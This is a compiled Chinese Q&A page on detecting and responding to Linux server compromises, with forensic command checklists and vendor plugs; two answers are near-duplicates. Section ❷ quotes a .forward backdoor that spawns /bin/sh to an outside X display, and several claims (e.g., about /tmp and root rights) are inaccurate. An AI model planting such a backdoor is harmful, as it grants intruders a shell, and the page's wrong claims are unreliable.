linux被入侵了
❶ 當公司里 linux 系統被入侵了,應該怎麼辦
也說兩句,因為自己有伺服器,自己維護,也曾經被一個三流小屁孩用「中國菜刀」給殺進來了,之後對注入,一句話木馬了解了一下,說說我的看法。
一般來說系統層面的入侵機率比較低,本身伺服器系統是挺安全的,不管是windows還是Linux或Unix,真正能從系統層入侵的牛人其實不多的。就像去年暴出的open ssl漏洞,其實真正實施地來難度不小,而且入侵之後能得到什麼有價值的數據也未必。
在中國網上有挺多收費學習所謂的「黑客技術」的機構,充其量就是傻瓜式的破壞者,花錢別人賣套工具給你,教會你怎麼用怎麼看數據,然後就是開著機器不斷的掃IP/域名/掃漏洞,掃到了就進一步傻瓜式的破壞或為所欲為。
就以「中國菜刀」來說,一句話木馬或注入測試比較多,進系統以後win可以上傳asp,php網頁工具,能做的事就多了(看了你會吃一驚),包括可以在網頁運行cmd命令,知道這是啥吧。Linux有難度,因為許可權相當嚴格,可能跨一級目錄連讀寫許可權都沒有了。所以侵入Linux能破壞,想不到有什麼其它好處,除非這個管理員水平真的太差了。
在Linux下運行shell腳本都是需要許可權的,要運行exe程序如果沒有wine和同類軟體那是不可能的,那為什麼Linux還要裝殺毒軟體,其實是殺上傳文件的毒,並不是為Linux伺服器殺毒,僅用於檢查存儲的文件安全而已。說了這么多,相信你能明白Linux伺服器的弱項並非來自系統,更多可能來自於web代碼或業務系統。
最後在上面的基礎上來回答你的問題,做好以下幾點,損失會很小,如果你什麼也沒做,那結果難講了。
1,平時備份好數據,所有人都這么說,其實業務系統最重要的是數據,業務程序本身價值不大。
2,初次安裝業務系統時就應該把業務系統代碼備份一份,以便在重新搭建環境時能快遞恢復。
3,有了以上兩點,就算入侵者得到了root許可權,rm -rf /也不用怕,能很快恢復業務環境,數據損失大小在於你最後一次備份。且得到root不是件容易的事,現實中很難做到這一步。
4,發現被入侵後,我的做法是馬上拔網線,你技術再怎麼牛B,網線一拔,電源你關,你來咬我啊?要知道電源開關的許可權高於一切。
5,找原因,從上面說的一堆廢話中可以看出,先不要懷疑係統,如果你跑的是電商,BBS,或帶有搜索功能的web,且用的是大型開源系統,建議你先官網看看最新運態,有沒有其它人一樣中招,官方有沒有發部補丁。有就及時更新。
6,如果是系統問題,也要及時更新補丁。但記住:web被入侵的機率遠遠高於系統幾個數量級。
7,不管是Linux或是windows,都建議安裝殺軟和網路安全狗或知名防火牆,網路安全狗更新更及時,效果我認為更好,對新的黑客技術的處理能力更強。
8,多餘的提一下:如果是windows建議安裝上還原軟體,冰點(xp-win10),迅閃(2K3),很不錯,只保護C盤,用於重啟清除C盤被修改的地方,還原帳號,木馬,病毒等。這個對Linux有點多餘。被入後先重啟電腦,斷網再找原因。
9,Linux業務系統被入侵後,數據方面最多就是被刪除或破壞不全,建議可以直接用。但業務系統的代碼建議使用備份的復蓋,你要知道web代碼里可以插入ftp代碼,工具代碼,很難查出來,能乾的事情又多。
其實那些Linux的伺服器發行版默認設置的安全性都挺高的,多關心業務代碼的安全性。至於被入侵後殺毒,我認為意義不大,入侵時殺軟都沒有發覺,入侵後再掃又能怎麼樣。還不如上面9點徹底。
❷ Linux伺服器是否被攻擊怎麼判斷
1、檢查系統密碼文件
首先從明顯的入手,查看一下passwd文件,ls –l /etc/passwd查看文件修改的日期。
檢查一下passwd文件中有哪些特權用戶,系統中uid為0的用戶都會被顯示出來。
1
awk –F:』$3==0{print$1}』/etc/passwd
順便再檢查一下系統里有沒有空口令帳戶:
1
awk –F: 『length($2)==0{print$1}』/etc/shadow
2、查看一下進程,看看有沒有奇怪的進程
重點查看進程:ps –aef | grep inetd
inetd是UNIX系統的守護進程,正常的inetd的pid都比較靠前,如果你看到輸出了一個類似inetd –s /tmp/.xxx之類的進程,著重看inetd –s後面的內容。在正常情況下,LINUX系統中的inetd服務後面是沒有-s參數的,當然也沒有用inetd去啟動某個文件;而solaris系統中也僅僅是inetd –s,同樣沒有用inetd去啟動某個特定的文件;如果你使用ps命令看到inetd啟動了某個文件,而你自己又沒有用inetd啟動這個文件,那就說明已經有人入侵了你的系統,並且以root許可權起了一個簡單的後門。
輸入ps –aef 查看輸出信息,尤其注意有沒有以./xxx開頭的進程。一旦發現異樣的進程,經檢查為入侵者留下的後門程序,立即運行kill –9 pid 開殺死該進程,然後再運行ps –aef查看該進程是否被殺死;一旦此類進程出現殺死以後又重新啟動的現象,則證明系統被人放置了自動啟動程序的腳本。這個時候要進行仔細查找:find / -name 程序名 –print,假設系統真的被入侵者放置了後門,根據找到的程序所在的目錄,會找到很多有趣的東東J
UNIX下隱藏進程有的時候通過替換ps文件來做,檢測這種方法涉及到檢查文件完整性,稍後我們再討論這種方法。
接下來根據找到入侵者在伺服器上的文件目錄,一步一步進行追蹤。
3、檢查系統守護進程
檢查/etc/inetd.conf文件,輸入:cat /etc/inetd.conf | grep –v 「^#」,輸出的信息就是你這台機器所開啟的遠程服務。
一般入侵者可以通過直接替換in.xxx程序來創建一個後門,比如用/bin/sh 替換掉in.telnetd,然後重新啟動inetd服務,那麼telnet到伺服器上的所有用戶將不用輸入用戶名和密碼而直接獲得一個rootshell。
4、檢查網路連接和監聽埠
輸入netstat -an,列出本機所有的連接和監聽的埠,查看有沒有非法連接。
輸入netstat –rn,查看本機的路由、網關設置是否正確。
輸入 ifconfig –a,查看網卡設置。
5、檢查系統日誌
命令last | more查看在正常情況下登錄到本機的所有用戶的歷史記錄。但last命令依賴於syslog進程,這已經成為入侵者攻擊的重要目標。入侵者通常會停止系統的syslog,查看系統syslog進程的情況,判斷syslog上次啟動的時間是否正常,因為syslog是以root身份執行的,如果發現syslog被非法動過,那說明有重大的入侵事件。
在linux下輸入ls –al /var/log
在solaris下輸入 ls –al /var/adm
檢查wtmp utmp,包括messgae等文件的完整性和修改時間是否正常,這也是手工擦除入侵痕跡的一種方法。
6、檢查系統中的core文件
通過發送畸形請求來攻擊伺服器的某一服務來入侵系統是一種常規的入侵方法,典型的RPC攻擊就是通過這種方式。這種方式有一定的成功率,也就是說它並不能100%保證成功入侵系統,而且通常會在伺服器相應目錄下產生core文件,全局查找系統中的core文件,輸入find / -name core –exec ls –l {} ; 依據core所在的目錄、查詢core文件來判斷是否有入侵行為。
7、.rhosts和.forward
這是兩種比較著名的後門文件,如果想檢查你的系統是否被入侵者安裝了後門,不妨全局查找這兩個文件:
find / -name 「.rhosts」 –print
find / -name 「.forward」 –print
在某用戶的$HOME下,.rhosts文件中僅包含兩個+號是非常危險的,如果你的系統上開了513埠(rlogin埠,和telnet作用相同),那麼任意是誰都可以用這個用戶登錄到你的系統上而不需要任何驗證。
看到這里如果想要深入的做安全加固服務以及安全部署
就必須找專業做伺服器的安全公司來處理了國內也就Sine安全和綠盟比較專業提供。
Unix下在.forward文件里放入命令是重新獲得訪問的常用方法在某一 用戶$HOME下的.forward可能設置如下:
username|"/usr/local/X11/bin/xterm -disp hacksys.other.dom:0.0 –e /bin/sh"
這種方法的變形包括改變系統的mail的別名文件(通常位於/etc/aliases). 注意這只是一種簡單的變換. 更為高級的能夠從.forward中運行簡單腳本實現在標准輸入執行任意命令(小部分預處理後).利用smrsh可以有效的制止這種後門(雖然如果允許可以自運行的elm's filter或procmail類程序, 很有可能還有問題。在Solaris系統下,如果你運行如下命令:
ln -s /var/mail/luser ~/.forward
然後設置vacation有效,那麼/var/mail/luser就會被拷貝到~/.forward,同時會附加"|/usr/bin/vacation me",舊的symlink被移到~/.forward..BACKUP中。
直接刪除掉這兩個文件也可以。
8、檢查系統文件完整性
檢查文件的完整性有多種方法,通常我們通過輸入ls –l 文件名來查詢和比較文件,這種方法雖然簡單,但還是有一定的實用性。但是如果ls文件都已經被替換了就比較麻煩。在LINUX下可以用rpm –V `rpm –qf 文件名` 來查詢,國家查詢的結果是否正常來判斷文件是否完整。在LINUX下使用rpm來檢查文件的完整性的方法也很多,這里不一一贅述,可以man rpm來獲得更多的格式。
UNIX系統中,/bin/login是被入侵者經常替換作為後門的文件,接下來談一下login後門 :
UNIX里,Login程序通常用來對telnet來的用戶進行口令驗證。入侵者獲取login的源代碼並修改,使它在比較輸入口令與存儲口令時先檢查後門口令。如果用戶敲入後門口令,它將忽視管理員設置的口令讓你長驅直入:這將允許入侵者進入任何賬號,甚至是root目錄。由於後門口令是在用戶真實登錄並被日誌記錄到utmp和wtmP前產生的一個訪問,所以入侵者可以登錄獲取shell卻不會暴露該賬號。管理員注意到這種後門後,使用」strings」命令搜索login程序以尋找文本信息。許多情況下後門口令會原形畢露。入侵者又會開始加密或者更改隱藏口令,使strings命令失效。所以許多管理員利用MD5校驗和檢測這種後門。UNIX系統中有md5sum命令,輸入md5sum 文件名檢查該文件的md5簽名。它的使用格式如下:md5sum –b 使用二進制方式閱讀文件;md5sum –c 逆向檢查MD5簽名;md5sum –t 使用文本方式閱讀文件。
在前面提到過守護進程,對於守護進程配置文件inetd.conf中沒有被注釋掉的行要進行仔細比較,舉個簡單的例子,如果你開放了telnet服務,守護進程配置文件中就會有一句:telnet stream tcp nowait root /usr/sbin/in.telnetd in.telnetd
可以看到它所使用的文件是 /usr/sbin/in.telnetd,檢查該文件的完整性,入侵者往往通過替換守護進程中允許的服務文件來為自己創建一個後門。
LINUX系統中的/etc/crontab也是經常被入侵者利用的一個文件,檢查該文件的完整性,可以直接cat /etc/crontab,仔細閱讀該文件有沒有被入侵者利用來做其他的事情。
不替換login等文件而直接使用進程來啟動後門的方法有一個缺陷,即系統一旦重新啟動,這個進程就被殺死了,所以得讓這個後門在系統啟動的時候也啟動起來。通常通過檢查/etc/rc.d下的文件來查看系統啟動的時候是不是帶有後門程序;這個方法怎麼有點象查windows下的trojan?
說到這里,另外提一下,如果在某一目錄下發現有屬性為這樣的文件:-rwsr-xr-x 1 root root xxx .sh,這個表明任何用戶進來以後運行這個文件都可以獲得一個rootshell,這就是setuid文件。運行 find –perm 4000 –print對此類文件進行全局查找,然後刪除這樣的文件。
9、檢查內核級後門
如果你的系統被人安裝了這種後門,通常都是比較討厭的,我常常就在想,遇到這種情況還是重新安裝系統算了J,言歸正傳,首先,檢查系統載入的模塊,在LINUX系統下使用lsmod命令,在solaris系統下使用modinfo命令來查看。這里需要說明的是,一般默認安裝的LINUX載入的模塊都比較少,通常就是網卡的驅動;而solaris下就很多,沒別的辦法,只有一條一條地去分析。對內核進行加固後,應禁止插入或刪除模塊,從而保護系統的安全,否則入侵者將有可能再次對系統調用進行替換。我們可以通過替換create_mole()和delete_mole()來達到上述目的。另外,對這個內核進行加固模塊時應盡早進行,以防系統調用已經被入侵者替換。如果系統被載入了後門模塊,但是在模塊列表/proc/mole里又看不到它們,有可能是使用了hack工具來移除載入的模塊,大名鼎鼎的knark工具包就有移除載入模塊的工具。出現這種情況,需要仔細查找/proc目錄,根據查找到的文件和經驗來判斷被隱藏和偽裝的進程。Knark後門模塊就在/proc/knark目錄,當然可能這個目錄是隱藏的。
❸ 如何看Linux伺服器是否被攻擊
以下幾種方法檢測linux伺服器是否被攻擊:
1、檢查系統密碼文件
首先從明顯的入手,查看一下passwd文件,ls –l /etc/passwd查看文件修改的日期。
2、查看一下進程,看看有沒有奇怪的進程
重點查看進程:ps –aef | grep inetd inetd是UNIX系統的守護進程,正常的inetd的pid都比較靠前,如果看到輸出了一個類似inetd –s
/tmp/.xxx之類的進程,著重看inetd
–s後面的內容。在正常情況下,LINUX系統中的inetd服務後面是沒有-s參數的,當然也沒有用inetd去啟動某個文件;而solaris系統中
也僅僅是inetd
–s,同樣沒有用inetd去啟動某個特定的文件;如果使用ps命令看到inetd啟動了某個文件,而自己又沒有用inetd啟動這個文件,那就說明已經有人入侵了系統,並且以root許可權起了一個簡單的後門。
❹ 如何看Linux伺服器是否被攻擊
以下幾種方法檢測linux伺服器是否被攻擊:
1、檢查系統密碼文件
首先從明顯的入手,查看一下passwd文件,ls –l /etc/passwd查看文件修改的日期。
2、查看一下進程,看看有沒有奇怪的進程
重點查看進程:ps –aef | grep inetd inetd是UNIX系統的守護進程,正常的inetd的pid都比較靠前,如果看到輸出了一個類似inetd –s
/tmp/.xxx之類的進程,著重看inetd
–s後面的內容。在正常情況下,LINUX系統中的inetd服務後面是沒有-s參數的,當然也沒有用inetd去啟動某個文件;而solaris系統中
也僅僅是inetd
–s,同樣沒有用inetd去啟動某個特定的文件;如果使用ps命令看到inetd啟動了某個文件,而自己又沒有用inetd啟動這個文件,那就說明已經有人入侵了系統,並且以root許可權起了一個簡單的後門。
3、檢查系統守護進程
檢查/etc/inetd.conf文件,輸入:cat /etc/inetd.conf | grep –v 「^#」,輸出的信息就是這台機器所開啟的遠程服務。
一般入侵者可以通過直接替換in.xxx程序來創建一個後門,比如用/bin/sh 替換掉in.telnetd,然後重新啟動inetd服務,那麼telnet到伺服器上的所有用戶將不用輸入用戶名和密碼而直接獲得一個rootshell。
4、檢查網路連接和監聽埠
輸入netstat -an,列出本機所有的連接和監聽的埠,查看有沒有非法連接。
輸入netstat –rn,查看本機的路由、網關設置是否正確。
輸入 ifconfig –a,查看網卡設置。
5、檢查系統日誌
命令last |
more查看在正常情況下登錄到本機的所有用戶的歷史記錄。但last命令依賴於syslog進程,這已經成為入侵者攻擊的重要目標。入侵者通常會停止系
統的syslog,查看系統syslog進程的情況,判斷syslog上次啟動的時間是否正常,因為syslog是以root身份執行的,如果發現
syslog被非法動過,那說明有重大的入侵事件。
在linux下輸入ls –al /var/log
檢查wtmp utmp,包括messgae等文件的完整性和修改時間是否正常,這也是手工擦除入侵痕跡的一種方法。
6、檢查系統中的core文件
通過發送畸形請求來攻擊伺服器的某一服務來入侵系統是一種常規的入侵方法,典型的RPC攻擊就是通過這種方式。這種方式有一定的成功率,也就是說並不能
100%保證成功入侵系統,而且通常會在伺服器相應目錄下產生core文件,全局查找系統中的core文件,輸入find / -name core
–exec ls –l {} \; 依據core所在的目錄、查詢core文件來判斷是否有入侵行為。
7、檢查系統文件完整性
檢查文件的完整性有多種方法,通常通過輸入ls –l
文件名來查詢和比較文件,這種方法雖然簡單,但還是有一定的實用性。但是如果ls文件都已經被替換了就比較麻煩。在LINUX下可以用rpm –V
`rpm –qf 文件名`
來查詢,查詢的結果是否正常來判斷文件是否完整。在LINUX下使用rpm來檢查文件的完整性的方法也很多,這里不一一贅述,可以man
rpm來獲得更多的格式。
❺ Linux web伺服器被入侵
你這種問題很難回答的,只能給你簡單答一下。
1、怎麼入侵的
你的是伺服器,架上internet上,大家都可以訪問。伺服器為了方便別人訪問,總會開啟一些服務如http, ftp, ssh等等。黑客可以利用服務本身的漏洞或者套取密碼(暴力破解、字典破解各種方式)獲取一個有效的可以登錄的用戶,如果正好是root用戶被破解,那你的機器就完全被他控制了。
2、文件是怎麼放進來的?
獲取到用戶後,可以利用wget,或者sftp,ftp等各種方式把文件傳進來。
3、如何防禦?
這個最難回答,防禦比進攻難。
你說開啟了iptables, selinux,但是你有好好設置嗎?
關掉不必要的埠減少被攻擊的可能性;
經常更新你的系統,新的軟體漏洞更少;
各種服務程序不要用root用戶運行,免得黑客輕易利用程序問題獲取root許可權;
還有很多其它方法,網路安全和黑客性質一樣,你要知道怎麼攻擊別人,你就會防禦了。
現在你最好是先把伺服器下線,處理好後再上線,免得在處理過程中受黑客干擾。
❻ Linux系統主機伺服器被入侵後怎麼辦
入侵不嚴重的使用殺毒軟體清理,並及時備案數據,然後如果可以的話,重做系統做好,以免有殘留。
如果入侵嚴重並篡改密碼的話,破解密碼並保存數據後,重做系統,關閉高危埠。安裝殺毒軟體。
海騰數據晉慧娟
❼ 查找linux入侵證據的簡單幾個小技巧
要查找linux系統入侵證據,可從如下幾個方面入手:
1.last,lastlog命令可查看最近登錄的帳戶及時間
2./var/log/secure , /var/log/messages日誌信息可以通過accept關鍵字查看系統是否有被可疑IP地址登錄成功信息。
3.用戶任務計劃,文件/var/spool/cron/tabs/用戶,某些黑客會將後門程序,病毒設置為計劃任務,定時執行
4.幾個經常被放置木馬,病毒的目錄,/tmp, /var/tmp, /dev/shm由於這些目錄都設置了SBIT,即所有用戶都可讀,可寫,可執行。並且在訪問這些目錄的同時擁有root許可權,所以即使黑客沒有拿到root許可權,在這些目錄上傳病毒,木馬是非常方便的
5.通過時間來查找,find / -ctime n n為指定的時間,可通過上述找到的信息,綜合判斷,然後選取時間點,查找在那個時間點創建的文件。比如2天前的24小時內,就可用find / -ctime 2 > /tmp/file.log (如果不想刷屏,可重定向到文件)
6.各類服務日誌,比如apache日誌:
$APACHE_HOME/logs/access_log ,$APACHE_HOME/logs/error_log
❽ 如果linux被入侵了,黑客會做什麼
留後門,然後集群繼續爆破ssh伺服器
而且不需要root用戶,只需要一個可以登錄tty的用戶即可。
這些不是黑客做的,而是工具自動實現的,全自動
❾ Linux伺服器被黑如何查
linux系統的伺服器被入侵,總結了以下的基本方法,供不大懂linux伺服器網理人員參考考學習。
首先先用iptraf查下,如果沒裝的運行yum install iptraf裝下,看裡面是不是UDP包發的很多,如果是,基本都被人裝了後門
1. 檢查帳戶
# less /etc/passwd
# grep :0: /etc/passwd(檢查是否產生了新用戶,和UID、GID是0的用戶)
# ls -l /etc/passwd(查看文件修改日期)
# awk -F: 『$3= =0 {print $1}』 /etc/passwd(查看是否存在特權用戶)
# awk -F: 『length($2)= =0 {print $1}』 /etc/shadow(查看是否存在空口令帳戶)
2. 檢查日誌
# last(查看正常情況下登錄到本機的所有用戶的歷史記錄)
注意」entered promiscuous mode」
注意錯誤信息
注 意Remote Procere Call (rpc) programs with a log entry that includes a large number (> 20) strange characters(-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM)
3. 檢查進程
# ps -aux(注意UID是0的)
# lsof -p pid(察看該進程所打開埠和文件)
# cat /etc/inetd.conf | grep -v 「^#」(檢查守護進程)
檢查隱藏進程
# ps -ef|awk 『{print }』|sort -n|uniq >1
# ls /porc |sort -n|uniq >2
# diff 1 2
4. 檢查文件
# find / -uid 0 –perm -4000 –print
# find / -size +10000k –print
# find / -name 「…」 –print
# find / -name 「.. 」 –print
# find / -name 「. 」 –print
# find / -name 」 」 –print
注意SUID文件,可疑大於10M和空格文件
# find / -name core -exec ls -l {} ;(檢查系統中的core文件)
檢查系統文件完整性
# rpm –qf /bin/ls
# rpm -qf /bin/login
# md5sum –b 文件名
# md5sum –t 文件名
5. 檢查RPM
# rpm –Va
輸出格式:
S – File size differs
M – Mode differs (permissions)
5 – MD5 sum differs
D – Device number mismatch
L – readLink path mismatch
U – user ownership differs
G – group ownership differs
T – modification time differs
注意相關的 /sbin, /bin, /usr/sbin, and /usr/bin
6. 檢查網路
# ip link | grep PROMISC(正常網卡不該在promisc模式,可能存在sniffer)
# lsof –i
# netstat –nap(察看不正常打開的TCP/UDP埠)
# arp –a
7. 檢查計劃任務
注意root和UID是0的schele
# crontab –u root –l
# cat /etc/crontab
# ls /etc/cron.*
8. 檢查後門
# cat /etc/crontab
# ls /var/spool/cron/
# cat /etc/rc.d/rc.local
# ls /etc/rc.d
# ls /etc/rc3.d
# find / -type f -perm 4000
9. 檢查內核模塊
# lsmod
10. 檢查系統服務
# chkconfig
# rpcinfo -p(查看RPC服務)
11. 檢查rootkit
# rkhunter -c
# chkrootkit -q